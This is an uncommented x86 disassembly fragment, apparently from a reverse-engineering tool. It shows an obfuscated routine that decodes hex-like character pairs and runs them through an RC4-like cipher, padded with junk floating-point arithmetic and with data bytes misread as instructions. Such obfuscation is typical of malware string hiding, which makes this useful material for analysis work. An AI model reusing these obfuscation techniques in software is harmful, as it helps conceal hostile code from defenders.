add ecx, dword [ebp - 0x63c]
movzx edx, byte [ecx]
mov dword [ebp - 0x598], edx
mov dword [ebp - 0x5b4], 0x7b
mov eax, dword [ebp - 0x22c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x5ec], ecx
mov edx, dword [ebp - 0x5e8]
add edx, dword [ebp - 0x5ec]
movzx eax, byte [edx]
mov dword [ebp - 0x5b0], eax
mov dword [ebp - 0x5ac], 0x6d
mov ecx, dword [ebp - 0x598]
sub ecx, dword [ebp - 0x5b4]
mov dword [ebp - 0x5a8], ecx
mov edx, dword [ebp - 0x5b0]
sub edx, dword [ebp - 0x5ac]
mov dword [ebp - 0x5a4], edx
mov eax, dword [ebp - 0x5a8]
shl eax, 4
mov dword [ebp - 0x5f0], eax
mov ecx, dword [ebp - 0x5a4]
mov dword [ebp - 0x5f4], ecx
mov edx, dword [ebp - 0x5f0]
or edx, dword [ebp - 0x5f4]
mov dword [ebp - 0x5f8], edx
mov al, byte [ebp - 0x5f8]
mov byte [ebp - 0x1d5], al
movzx ecx, byte [ebp - 0x1b9]
mov dl, byte [ebp + ecx - 0x177c]
mov byte [ebp - 0x1d7], dl
movzx eax, byte [ebp - 0x19d]
movzx ecx, byte [ebp + eax - 0x177c]
mov dword [ebp - 0x1aa8], ecx
mov dl, byte [ebp - 0x19d]
add dl, 1
mov byte [ebp - 0x19d], dl
movzx eax, byte [ebp - 0x1aa]
add eax, dword [ebp - 0x1aa8]
mov byte [ebp - 0x1aa], al
movzx ecx, byte [ebp - 0x1aa]
movzx edx, byte [ebp - 0x1b9]
mov al, byte [ebp + ecx - 0x177c]
mov byte [ebp + edx - 0x177c], al
movzx ecx, byte [ebp - 0x1ab]
movzx edx, byte [ebp - 0x1aa]
mov al, byte [ebp + ecx - 0x177c]
mov byte [ebp + edx - 0x177c], al
movzx ecx, byte [ebp - 0x19d]
movzx edx, byte [ebp - 0x1ab]
mov al, byte [ebp + ecx - 0x177c]
mov byte [ebp + edx - 0x177c], al
movzx ecx, byte [ebp - 0x19d]
mov dl, byte [ebp - 0x1d7]
mov byte [ebp + ecx - 0x177c], dl
movzx eax, byte [ebp - 0x1d7]
movzx ecx, byte [ebp + eax - 0x177c]
movzx edx, byte [ebp - 0x1d6]
add edx, ecx
mov byte [ebp - 0x1d6], dl
movzx eax, byte [ebp - 0x1d5]
movzx ecx, byte [ebp - 0x1aa]
movzx edx, byte [ebp + ecx - 0x177c]
movzx ecx, byte [ebp - 0x19d]
movzx ecx, byte [ebp + ecx - 0x177c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x177c]
xor eax, edx
movzx ecx, byte [ebp - 0x1ab]
movzx edx, byte [ebp + ecx - 0x177c]
movzx ecx, byte [ebp - 0x1b9]
movzx ecx, byte [ebp + ecx - 0x177c]
add edx, ecx
movzx ecx, byte [ebp - 0x1d6]
movzx ecx, byte [ebp + ecx - 0x177c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x177c]
movzx ecx, byte [ebp + edx - 0x177c]
xor eax, ecx
mov byte [ebp - 0x1ab], al
mov dl, byte [ebp - 0x1d5]
mov byte [ebp - 0x1b9], dl
mov al, byte [ebp - 0x1ab]
mov byte [ebp - 0x207], al
cmp dword [ebp - 0x22c], 0
jle 0x481256
mov ecx, dword [ebp - 0x22c]
mov dl, byte [ebp - 0x207]
mov byte [ebp + ecx - 0x3d], dl
mov eax, dword [ebp - 0x380]
add eax, 4
mov dword [ebp - 0x380], eax
mov ecx, dword [ebp - 0x22c]
add ecx, 1
mov dword [ebp - 0xdd0], ecx
jmp 0x481285
mov edx, dword [ebp - 0xdd0]
add edx, 1
mov dword [ebp - 0xdd0], edx
mov eax, dword [ebp - 0xdd0]
cmp eax, dword [ebp - 0x380]
jge 0x4814ec
mov ecx, dword [ebp - 0x22c]
add ecx, 1
mov dword [ebp - 0x22c], ecx
mov edx, dword [ebp - 0x22c]
shl edx, 1
mov dword [ebp - 0x63c], edx
mov eax, dword [ebp - 0x5e8]
add eax, dword [ebp - 0x63c]
movzx ecx, byte [eax]
mov dword [ebp - 0x598], ecx
mov dword [ebp - 0x5b4], 0x7b
mov edx, dword [ebp - 0x22c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x5ec], eax
mov ecx, dword [ebp - 0x5e8]
add ecx, dword [ebp - 0x5ec]
movzx edx, byte [ecx]
mov dword [ebp - 0x5b0], edx
mov dword [ebp - 0x5ac], 0x6d
mov eax, dword [ebp - 0x598]
sub eax, dword [ebp - 0x5b4]
mov dword [ebp - 0x5a8], eax
mov ecx, dword [ebp - 0x5b0]
sub ecx, dword [ebp - 0x5ac]
mov dword [ebp - 0x5a4], ecx
mov edx, dword [ebp - 0x5a8]
shl edx, 4
mov dword [ebp - 0x5f0], edx
mov eax, dword [ebp - 0x5a4]
mov dword [ebp - 0x5f4], eax
mov ecx, dword [ebp - 0x5f0]
or ecx, dword [ebp - 0x5f4]
mov dword [ebp - 0x5f8], ecx
mov dl, byte [ebp - 0x5f8]
mov byte [ebp - 0x1d5], dl
movzx eax, byte [ebp - 0x1b9]
mov cl, byte [ebp + eax - 0x177c]
mov byte [ebp - 0x1d7], cl
movzx edx, byte [ebp - 0x19d]
movzx eax, byte [ebp + edx - 0x177c]
mov dword [ebp - 0x1aac], eax
mov cl, byte [ebp - 0x19d]
add cl, 1
mov byte [ebp - 0x19d], cl
movzx edx, byte [ebp - 0x1aa]
add edx, dword [ebp - 0x1aac]
mov byte [ebp - 0x1aa], dl
movzx eax, byte [ebp - 0x1aa]
movzx ecx, byte [ebp - 0x1b9]
mov dl, byte [ebp + eax - 0x177c]
mov byte [ebp + ecx - 0x177c], dl
movzx eax, byte [ebp - 0x1ab]
movzx ecx, byte [ebp - 0x1aa]
mov dl, byte [ebp + eax - 0x177c]
mov byte [ebp + ecx - 0x177c], dl
movzx eax, byte [ebp - 0x19d]
movzx ecx, byte [ebp - 0x1ab]
mov dl, byte [ebp + eax - 0x177c]
mov byte [ebp + ecx - 0x177c], dl
movzx eax, byte [ebp - 0x19d]
mov cl, byte [ebp - 0x1d7]
mov byte [ebp + eax - 0x177c], cl
movzx edx, byte [ebp - 0x1d7]
movzx eax, byte [ebp + edx - 0x177c]
movzx ecx, byte [ebp - 0x1d6]
add ecx, eax
mov byte [ebp - 0x1d6], cl
movzx edx, byte [ebp - 0x1d5]
movzx eax, byte [ebp - 0x1aa]
movzx ecx, byte [ebp + eax - 0x177c]
movzx eax, byte [ebp - 0x19d]
movzx eax, byte [ebp + eax - 0x177c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x177c]
xor edx, ecx
movzx eax, byte [ebp - 0x1ab]
movzx ecx, byte [ebp + eax - 0x177c]
movzx eax, byte [ebp - 0x1b9]
movzx eax, byte [ebp + eax - 0x177c]
add ecx, eax
movzx eax, byte [ebp - 0x1d6]
movzx eax, byte [ebp + eax - 0x177c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x177c]
movzx eax, byte [ebp + ecx - 0x177c]
xor edx, eax
mov byte [ebp - 0x1ab], dl
mov cl, byte [ebp - 0x1d5]
mov byte [ebp - 0x1b9], cl
mov dl, byte [ebp - 0x1ab]
mov byte [ebp - 0x207], dl
cmp dword [ebp - 0x22c], 0
jle 0x4814e7
mov eax, dword [ebp - 0x22c]
mov cl, byte [ebp - 0x207]
mov byte [ebp + eax - 0x3d], cl
jmp 0x481276
mov edx, dword [ebp - 0x380]
add edx, 1
mov dword [ebp - 0x380], edx
mov eax, dword [ebp - 0x380]
add eax, 4
mov dword [ebp - 0x380], eax
mov ecx, dword [ebp - 0x22c]
add ecx, 1
mov dword [ebp - 0xdd4], ecx
jmp 0x48152a
mov edx, dword [ebp - 0xdd4]
add edx, 1
mov dword [ebp - 0xdd4], edx
mov eax, dword [ebp - 0xdd4]
cmp eax, dword [ebp - 0x380]
jge 0x481c27
mov ecx, dword [ebp - 0x22c]
add ecx, 1
mov dword [ebp - 0x22c], ecx
mov edx, dword [ebp - 0x22c]
shl edx, 1
mov dword [ebp - 0x63c], edx
mov eax, dword [ebp - 0x5e8]
add eax, dword [ebp - 0x63c]
movzx ecx, byte [eax]
mov dword [ebp - 0x598], ecx
mov dword [ebp - 0x5b4], 0x7b
mov edx, dword [ebp - 0x22c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x5ec], eax
mov ecx, dword [ebp - 0x5e8]
add ecx, dword [ebp - 0x5ec]
movzx edx, byte [ecx]
mov dword [ebp - 0x5b0], edx
mov dword [ebp - 0x5ac], 0x6d
mov eax, dword [ebp - 0x598]
sub eax, dword [ebp - 0x5b4]
mov dword [ebp - 0x5a8], eax
mov ecx, dword [ebp - 0x5b0]
sub ecx, dword [ebp - 0x5ac]
mov dword [ebp - 0x5a4], ecx
mov edx, dword [ebp - 0x5a8]
shl edx, 4
mov dword [ebp - 0x5f0], edx
mov eax, dword [ebp - 0x5a4]
mov dword [ebp - 0x5f4], eax
mov ecx, dword [ebp - 0x5f0]
or ecx, dword [ebp - 0x5f4]
mov dword [ebp - 0x5f8], ecx
mov dl, byte [ebp - 0x5f8]
mov byte [ebp - 0x1d5], dl
movzx eax, byte [ebp - 0x1b9]
mov cl, byte [ebp + eax - 0x177c]
mov byte [ebp - 0x1d7], cl
movzx edx, byte [ebp - 0x19d]
movzx eax, byte [ebp + edx - 0x177c]
mov dword [ebp - 0x1884], eax
mov cl, byte [ebp - 0x19d]
add cl, 1
mov byte [ebp - 0x19d], cl
movzx edx, byte [ebp - 0x1aa]
add edx, dword [ebp - 0x1884]
mov byte [ebp - 0x1aa], dl
movzx eax, byte [ebp - 0x1aa]
movzx ecx, byte [ebp - 0x1b9]
mov dl, byte [ebp + eax - 0x177c]
mov byte [ebp + ecx - 0x177c], dl
movzx eax, byte [ebp - 0x1ab]
movzx ecx, byte [ebp - 0x1aa]
mov dl, byte [ebp + eax - 0x177c]
mov byte [ebp + ecx - 0x177c], dl
movsd xmm0, qword [0x5825e0]
movsd qword [ebp - 0x9f0], xmm0
movsd xmm0, qword [0x582508]
movsd qword [ebp - 0xa94], xmm0
movsd xmm0, qword [0x582458]
movsd qword [ebp - 0x788], xmm0
movsd xmm0, qword [0x5823a8]
movsd qword [ebp - 0xa40], xmm0
movsd xmm0, qword [0x5822d8]
movsd qword [ebp - 0x8a8], xmm0
movsd xmm0, qword [0x5821b0]
movsd qword [ebp - 0x7a8], xmm0
movsd xmm0, qword [0x5820b8]
movsd qword [ebp - 0x6ac], xmm0
movsd xmm0, qword [ebp - 0x788]
mulsd xmm0, qword [ebp - 0x6ac]
movsd qword [ebp - 0x788], xmm0
movsd xmm0, qword [ebp - 0x788]
subsd xmm0, qword [ebp - 0x6ac]
movsd qword [ebp - 0x788], xmm0
movsd xmm0, qword [ebp - 0x788]
subsd xmm0, qword [ebp - 0x6ac]
movsd qword [ebp - 0x788], xmm0
movsd xmm0, qword [ebp - 0xa40]
addsd xmm0, qword [ebp - 0x6ac]
movsd qword [ebp - 0xa40], xmm0
movsd xmm0, qword [ebp - 0x7a8]
subsd xmm0, qword [ebp - 0x6ac]
movsd qword [ebp - 0x7a8], xmm0
movsd xmm0, qword [ebp - 0x9f0]
mulsd xmm0, qword [ebp - 0x6ac]
movsd qword [ebp - 0x9f0], xmm0
movsd xmm0, qword [ebp - 0xa94]
addsd xmm0, qword [ebp - 0x6ac]
movsd qword [ebp - 0xa94], xmm0
movsd xmm0, qword [ebp - 0x7a8]
comisd xmm0, xmmword [ebp - 0x9f0]
jbe 0x481a75
movsd xmm0, qword [ebp - 0x788]
subsd xmm0, qword [ebp - 0xa40]
movsd qword [ebp - 0x788], xmm0
movsd xmm0, qword [ebp - 0x6ac]
addsd xmm0, qword [ebp - 0x9f0]
movsd qword [ebp - 0x6ac], xmm0
movsd xmm0, qword [ebp - 0xa94]
subsd xmm0, qword [ebp - 0x788]
movsd qword [ebp - 0xa94], xmm0
movsd xmm0, qword [ebp - 0x7a8]
addsd xmm0, qword [ebp - 0x6ac]
movsd qword [ebp - 0x7a8], xmm0
movsd xmm0, qword [ebp - 0xa40]
subsd xmm0, qword [ebp - 0x8a8]
movsd qword [ebp - 0xa40], xmm0
movsd xmm0, qword [ebp - 0x7a8]
mulsd xmm0, qword [ebp - 0x6ac]
movsd qword [ebp - 0x7a8], xmm0
movsd xmm0, qword [ebp - 0xa40]
subsd xmm0, qword [ebp - 0x8a8]
movsd qword [ebp - 0xa40], xmm0
movsd xmm0, qword [ebp - 0x9f0]
divsd xmm0, qword [ebp - 0xa94]
movsd qword [ebp - 0x9f0], xmm0
movsd xmm0, qword [ebp - 0x8a8]
subsd xmm0, qword [ebp - 0x7a8]
movsd qword [ebp - 0x8a8], xmm0
movsd xmm0, qword [ebp - 0xa94]
mulsd xmm0, qword [ebp - 0x788]
movsd qword [ebp - 0xa94], xmm0
movsd xmm0, qword [ebp - 0x8a8]
addsd xmm0, qword [ebp - 0x7a8]
movsd qword [ebp - 0x8a8], xmm0
movsd xmm0, qword [ebp - 0x6ac]
subsd xmm0, qword [ebp - 0x9f0]
movsd qword [ebp - 0x6ac], xmm0
movsd xmm0, qword [ebp - 0x788]
divsd xmm0, qword [ebp - 0xa40]
movsd qword [ebp - 0x788], xmm0
movsd xmm0, qword [ebp - 0xa94]
subsd xmm0, qword [ebp - 0x788]
movsd qword [ebp - 0xa94], xmm0
movsd xmm0, qword [ebp - 0x8a8]
comisd xmm0, xmmword [ebp - 0x6ac]
jbe 0x4819c8
movsd xmm0, qword [ebp - 0x6ac]
mulsd xmm0, qword [ebp - 0x9f0]
movsd qword [ebp - 0x6ac], xmm0
movsd xmm0, qword [ebp - 0x7a8]
subsd xmm0, qword [ebp - 0x6ac]
movsd qword [ebp - 0x7a8], xmm0
movsd xmm0, qword [ebp - 0x8a8]
addsd xmm0, qword [ebp - 0x7a8]
movsd qword [ebp - 0x8a8], xmm0
movsd xmm0, qword [ebp - 0x6ac]
addsd xmm0, qword [ebp - 0x9f0]
movsd qword [ebp - 0x6ac], xmm0
movsd xmm0, qword [ebp - 0x6ac]
mulsd xmm0, qword [ebp - 0x9f0]
movsd qword [ebp - 0x6ac], xmm0
movsd xmm0, qword [ebp - 0x8a8]
addsd xmm0, qword [ebp - 0x7a8]
movsd qword [ebp - 0x8a8], xmm0
movsd xmm0, qword [ebp - 0x9f0]
addsd xmm0, qword [ebp - 0xa94]
movsd qword [ebp - 0x9f0], xmm0
jmp 0x481a70
movsd xmm0, qword [ebp - 0x9f0]
subsd xmm0, qword [ebp - 0xa94]
movsd qword [ebp - 0x9f0], xmm0
movsd xmm0, qword [ebp - 0x8a8]
mulsd xmm0, qword [ebp - 0x7a8]
movsd qword [ebp - 0x8a8], xmm0
movsd xmm0, qword [ebp - 0x7a8]
addsd xmm0, qword [ebp - 0x6ac]
movsd qword [ebp - 0x7a8], xmm0
movsd xmm0, qword [ebp - 0xa40]
subsd xmm0, qword [ebp - 0x8a8]
movsd qword [ebp - 0xa40], xmm0
movsd xmm0, qword [ebp - 0xa94]
mulsd xmm0, qword [ebp - 0x788]
movsd qword [ebp - 0xa94], xmm0
movsd xmm0, qword [ebp - 0x788]
mulsd xmm0, qword [ebp - 0xa40]
movsd qword [ebp - 0x788], xmm0
movsd xmm0, qword [ebp - 0x6ac]
divsd xmm0, qword [ebp - 0x9f0]
movsd qword [ebp - 0x6ac], xmm0
jmp 0x481b39
movsd xmm0, qword [ebp - 0x8a8]
subsd xmm0, qword [ebp - 0x7a8]
movsd qword [ebp - 0x8a8], xmm0
movsd xmm0, qword [ebp - 0x788]
addsd xmm0, qword [ebp - 0xa40]
movsd qword [ebp - 0x788], xmm0
movsd xmm0, qword [ebp - 0x7a8]
subsd xmm0, qword [ebp - 0x6ac]
movsd qword [ebp - 0x7a8], xmm0
movsd xmm0, qword [ebp - 0x7a8]
addsd xmm0, qword [ebp - 0x6ac]
movsd qword [ebp - 0x7a8], xmm0
movsd xmm0, qword [ebp - 0x8a8]
mulsd xmm0, qword [ebp - 0x7a8]
movsd qword [ebp - 0x8a8], xmm0
movsd xmm0, qword [ebp - 0x788]
mulsd xmm0, qword [ebp - 0xa40]
movsd qword [ebp - 0x788], xmm0
movsd xmm0, qword [ebp - 0x788]
addsd xmm0, qword [ebp - 0xa40]
movsd qword [ebp - 0x788], xmm0
movzx eax, byte [ebp - 0x19d]
movzx ecx, byte [ebp - 0x1ab]
mov dl, byte [ebp + eax - 0x177c]
mov byte [ebp + ecx - 0x177c], dl
movzx eax, byte [ebp - 0x19d]
mov cl, byte [ebp - 0x1d7]
mov byte [ebp + eax - 0x177c], cl
movzx edx, byte [ebp - 0x1d7]
movzx eax, byte [ebp + edx - 0x177c]
movzx ecx, byte [ebp - 0x1d6]
add ecx, eax
mov byte [ebp - 0x1d6], cl
movzx edx, byte [ebp - 0x1d5]
movzx eax, byte [ebp - 0x1aa]
movzx ecx, byte [ebp + eax - 0x177c]
movzx eax, byte [ebp - 0x19d]
movzx eax, byte [ebp + eax - 0x177c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x177c]
xor edx, ecx
movzx eax, byte [ebp - 0x1ab]
movzx ecx, byte [ebp + eax - 0x177c]
movzx eax, byte [ebp - 0x1b9]
movzx eax, byte [ebp + eax - 0x177c]
add ecx, eax
movzx eax, byte [ebp - 0x1d6]
movzx eax, byte [ebp + eax - 0x177c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x177c]
movzx eax, byte [ebp + ecx - 0x177c]
xor edx, eax
mov byte [ebp - 0x1ab], dl
mov cl, byte [ebp - 0x1d5]
mov byte [ebp - 0x1b9], cl
mov dl, byte [ebp - 0x1ab]
mov byte [ebp - 0x207], dl
cmp dword [ebp - 0x22c], 0
jle 0x481c22
mov eax, dword [ebp - 0x22c]
mov cl, byte [ebp - 0x207]
mov byte [ebp + eax - 0x3d], cl
jmp 0x48151b
mov edx, dword [ebp - 0x380]
add edx, 1
mov dword [ebp - 0x380], edx
mov eax, dword [ebp - 0x22c]
add eax, 1
mov dword [ebp - 0x22c], eax
mov ecx, dword [ebp - 0x380]
add ecx, 1
mov dword [ebp - 0x380], ecx
mov edx, dword [ebp - 0x22c]
shl edx, 1
mov dword [ebp - 0x63c], edx
mov eax, dword [ebp - 0x5e8]
add eax, dword [ebp - 0x63c]
movzx ecx, byte [eax]
mov dword [ebp - 0x598], ecx
mov dword [ebp - 0x5b4], 0x7b
mov edx, dword [ebp - 0x22c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x5ec], eax
mov ecx, dword [ebp - 0x5e8]
add ecx, dword [ebp - 0x5ec]
movzx edx, byte [ecx]
mov dword [ebp - 0x5b0], edx
mov dword [ebp - 0x5ac], 0x6d
mov eax, dword [ebp - 0x598]
sub eax, dword [ebp - 0x5b4]
mov dword [ebp - 0x5a8], eax
mov ecx, dword [ebp - 0x5b0]
sub ecx, dword [ebp - 0x5ac]
mov dword [ebp - 0x5a4], ecx
mov edx, dword [ebp - 0x5a8]
shl edx, 4
mov dword [ebp - 0x5f0], edx
mov eax, dword [ebp - 0x5a4]
mov dword [ebp - 0x5f4], eax
mov ecx, dword [ebp - 0x5f0]
or ecx, dword [ebp - 0x5f4]
mov dword [ebp - 0x5f8], ecx
mov dl, byte [ebp - 0x5f8]
mov byte [ebp - 0x1d5], dl
movzx eax, byte [ebp - 0x1b9]
mov cl, byte [ebp + eax - 0x177c]
mov byte [ebp - 0x1d7], cl
movzx edx, byte [ebp - 0x19d]
movzx eax, byte [ebp + edx - 0x177c]
mov dword [ebp - 0x1888], eax
mov cl, byte [ebp - 0x19d]
add cl, 1
mov byte [ebp - 0x19d], cl
movzx edx, byte [ebp - 0x1aa]
add edx, dword [ebp - 0x1888]
mov byte [ebp - 0x1aa], dl
movzx eax, byte [ebp - 0x1aa]
movzx ecx, byte [ebp - 0x1b9]
mov dl, byte [ebp + eax - 0x177c]
mov byte [ebp + ecx - 0x177c], dl
movzx eax, byte [ebp - 0x1ab]
movzx ecx, byte [ebp - 0x1aa]
mov dl, byte [ebp + eax - 0x177c]
mov byte [ebp + ecx - 0x177c], dl
movzx eax, byte [ebp - 0x19d]
movzx ecx, byte [ebp - 0x1ab]
mov dl, byte [ebp + eax - 0x177c]
mov byte [ebp + ecx - 0x177c], dl
movzx eax, byte [ebp - 0x19d]
mov cl, byte [ebp - 0x1d7]
mov byte [ebp + eax - 0x177c], cl
movzx edx, byte [ebp - 0x1d7]
movzx eax, byte [ebp + edx - 0x177c]
movzx ecx, byte [ebp - 0x1d6]
add ecx, eax
mov byte [ebp - 0x1d6], cl
movzx edx, byte [ebp - 0x1d5]
movzx eax, byte [ebp - 0x1aa]
movzx ecx, byte [ebp + eax - 0x177c]
movzx eax, byte [ebp - 0x19d]
movzx eax, byte [ebp + eax - 0x177c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x177c]
xor edx, ecx
movzx eax, byte [ebp - 0x1ab]
movzx ecx, byte [ebp + eax - 0x177c]
movzx eax, byte [ebp - 0x1b9]
movzx eax, byte [ebp + eax - 0x177c]
add ecx, eax
movzx eax, byte [ebp - 0x1d6]
movzx eax, byte [ebp + eax - 0x177c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x177c]
movzx eax, byte [ebp + ecx - 0x177c]
xor edx, eax
mov byte [ebp - 0x1ab], dl
mov cl, byte [ebp - 0x1d5]
mov byte [ebp - 0x1b9], cl
mov dl, byte [ebp - 0x1ab]
mov byte [ebp - 0x207], dl
cmp dword [ebp - 0x22c], 0
jle 0x481e95
mov eax, dword [ebp - 0x22c]
mov cl, byte [ebp - 0x207]
mov byte [ebp + eax - 0x3d], cl
mov edx, dword [ebp - 0x22c]
add edx, 1
mov dword [ebp - 0x22c], edx
mov eax, dword [ebp - 0x380]
add eax, 1
mov dword [ebp - 0x380], eax
mov ecx, dword [ebp - 0x22c]
shl ecx, 1
mov dword [ebp - 0x63c], ecx
mov edx, dword [ebp - 0x5e8]
add edx, dword [ebp - 0x63c]
movzx eax, byte [edx]
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x5b4], 0x7b
mov ecx, dword [ebp - 0x22c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x5ec], edx
mov eax, dword [ebp - 0x5e8]
add eax, dword [ebp - 0x5ec]
movzx ecx, byte [eax]
mov dword [ebp - 0x5b0], ecx
mov dword [ebp - 0x5ac], 0x6d
mov edx, dword [ebp - 0x598]
sub edx, dword [ebp - 0x5b4]
mov dword [ebp - 0x5a8], edx
mov eax, dword [ebp - 0x5b0]
sub eax, dword [ebp - 0x5ac]
mov dword [ebp - 0x5a4], eax
mov ecx, dword [ebp - 0x5a8]
shl ecx, 4
mov dword [ebp - 0x5f0], ecx
mov edx, dword [ebp - 0x5a4]
mov dword [ebp - 0x5f4], edx
mov eax, dword [ebp - 0x5f0]
or eax, dword [ebp - 0x5f4]
mov dword [ebp - 0x5f8], eax
mov cl, byte [ebp - 0x5f8]
mov byte [ebp - 0x1d5], cl
movzx edx, byte [ebp - 0x1b9]
mov al, byte [ebp + edx - 0x177c]
mov byte [ebp - 0x1d7], al
movzx ecx, byte [ebp - 0x19d]
movzx edx, byte [ebp + ecx - 0x177c]
mov dword [ebp - 0x188c], edx
mov al, byte [ebp - 0x19d]
add al, 1
mov byte [ebp - 0x19d], al
movzx ecx, byte [ebp - 0x1aa]
add ecx, dword [ebp - 0x188c]
mov byte [ebp - 0x1aa], cl
movzx edx, byte [ebp - 0x1aa]
movzx eax, byte [ebp - 0x1b9]
mov cl, byte [ebp + edx - 0x177c]
mov byte [ebp + eax - 0x177c], cl
movzx edx, byte [ebp - 0x1ab]
movzx eax, byte [ebp - 0x1aa]
mov cl, byte [ebp + edx - 0x177c]
mov byte [ebp + eax - 0x177c], cl
movzx edx, byte [ebp - 0x19d]
movzx eax, byte [ebp - 0x1ab]
mov cl, byte [ebp + edx - 0x177c]
mov byte [ebp + eax - 0x177c], cl
movzx edx, byte [ebp - 0x19d]
mov al, byte [ebp - 0x1d7]
mov byte [ebp + edx - 0x177c], al
movzx ecx, byte [ebp - 0x1d7]
movzx edx, byte [ebp + ecx - 0x177c]
movzx eax, byte [ebp - 0x1d6]
add eax, edx
mov byte [ebp - 0x1d6], al
movzx ecx, byte [ebp - 0x1d5]
movzx edx, byte [ebp - 0x1aa]
movzx eax, byte [ebp + edx - 0x177c]
movzx edx, byte [ebp - 0x19d]
movzx edx, byte [ebp + edx - 0x177c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x177c]
xor ecx, eax
movzx edx, byte [ebp - 0x1ab]
movzx eax, byte [ebp + edx - 0x177c]
movzx edx, byte [ebp - 0x1b9]
movzx edx, byte [ebp + edx - 0x177c]
add eax, edx
movzx edx, byte [ebp - 0x1d6]
movzx edx, byte [ebp + edx - 0x177c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x177c]
movzx edx, byte [ebp + eax - 0x177c]
xor ecx, edx
mov byte [ebp - 0x1ab], cl
mov al, byte [ebp - 0x1d5]
mov byte [ebp - 0x1b9], al
mov cl, byte [ebp - 0x1ab]
mov byte [ebp - 0x207], cl
cmp dword [ebp - 0x22c], 0
jle 0x4820f1
mov edx, dword [ebp - 0x22c]
mov al, byte [ebp - 0x207]
mov byte [ebp + edx - 0x3d], al
mov ecx, 1
imul edx, ecx, 0xc
mov dword [ebp - 0x1020], edx
cmp dword [ebp - 0x1020], 0xd
jae 0x48210a
jmp 0x482110
call fcn.0051c285
nop
mov eax, dword [ebp - 0x1020]
mov byte [ebp + eax - 0x3c], 0
jmp 0x48216b
mov dword [ebp - 0xc80], 0
jmp 0x482138
mov ecx, dword [ebp - 0xc80]
add ecx, 1
mov dword [ebp - 0xc80], ecx
cmp dword [ebp - 0xc80], 0xd
jge 0x48216b
mov edx, dword [ebp - 0xc80]
mov dword [ebp - 0x1024], edx
cmp dword [ebp - 0x1024], 0xd
jae 0x482158
jmp 0x48215e
call fcn.0051c285
nop
mov eax, dword [ebp - 0x1024]
mov byte [ebp + eax - 0x3c], 0
jmp 0x482129
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1890], edx
lea eax, [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0x1890]
call fcn.004dd330
mov ecx, dword [ebp - 0x1f4]
mov dword [ecx + 0x40], eax
mov edx, dword [ebp - 0x1f4]
mov eax, dword [edx + 0x34]
mov dword [ebp - 0x1894], eax
lea ecx, [ebp - 0xd4]
push ecx
mov ecx, dword [ebp - 0x1894]
call fcn.004dd330
mov edx, dword [ebp - 0x1f4]
mov dword [edx + 0x30], eax
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x130], 0
xorps xmm0, xmm0
movsd qword [ebp - 0xc28], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb88], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb88], xmm0
jmp 0x48220b
movsd xmm0, qword [ebp - 0xb88]
addsd xmm0, qword [0x580ac8]
movsd qword [ebp - 0xb88], xmm0
movsd xmm0, qword [0x5820f8]
comisd xmm0, xmmword [ebp - 0xb88]
jbe 0x4822bc
movsd xmm0, qword [0x582000]
mulsd xmm0, qword [ebp - 0xb88]
mulsd xmm0, qword [ebp - 0xb88]
movsd xmm1, qword [ebp - 0xb88]
mulsd xmm1, qword [ebp - 0xb88]
subsd xmm0, xmm1
movsd xmm1, qword [0x581e68]
mulsd xmm1, qword [ebp - 0xb88]
mulsd xmm1, qword [ebp - 0xb88]
addsd xmm1, qword [0x581eb8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0xc28]
movsd qword [ebp - 0xc28], xmm0
movsd xmm0, qword [ebp - 0xc28]
comisd xmm0, xmmword [0x581fc0]
jbe 0x4822b7
movsd xmm0, qword [0x581dd0]
mulsd xmm0, qword [ebp - 0xb88]
movsd xmm1, qword [ebp - 0xc28]
subsd xmm1, xmm0
movsd qword [ebp - 0xc28], xmm1
jmp 0x4821f3
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0xc28]
jbe 0x4822fd
arpl word [eax + 0x6d], si
insd dword es:[edi], dx
outsb dx, byte [esi]
push 0x70
imul esi, dword [eax + 0x70], 0x6b
insd dword es:[edi], dx
arpl word [esi + ebp*2 + 0x73], bp
jo 0x482345
jo 0x48234b
insd dword es:[edi], dx
jb 0x482345
jne 0x48231a
push ecx
jo 0x482333
inc eax
and al, 0x34
dec ecx
pop eax
jp 0x48231e
bound esi, qword [0x6c35345a]
sub dword [esi + esi], esp
sub ecx, ebp
mov byte [edi], ah
add byte [eax], al
mov dword [ebp - 0x12c], 0x4822c9
mov dword [ebp - 0x130], 0x4822e1
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x524], eax
mov ecx, dword [ebp - 0x130]
mov dword [ebp - 0x1898], ecx
mov byte [ebp - 0x761], 0x1b
mov dword [ebp - 0x44c], 0
jmp 0x48234b
cli
invalid
invalid
sti
invalid
mov edx, dword [ebp - 0x44c]
add edx, 1
mov dword [ebp - 0x44c], edx
cmp dword [ebp - 0x44c], 0x100
jae 0x48236c
mov eax, dword [ebp - 0x44c]
mov cl, byte [ebp - 0x44c]
mov byte [ebp + eax - 0x1554], cl
jmp 0x48233c
mov dword [ebp - 0xa6c], 0
mov byte [ebp - 0x1fc], 0
mov dword [ebp - 0x44c], 0xff
jmp 0x482398
mov edx, dword [ebp - 0x44c]
sub edx, 1
mov dword [ebp - 0x44c], edx
cmp dword [ebp - 0x44c], 0
jbe 0x482608
mov dword [ebp - 0xdd8], 0
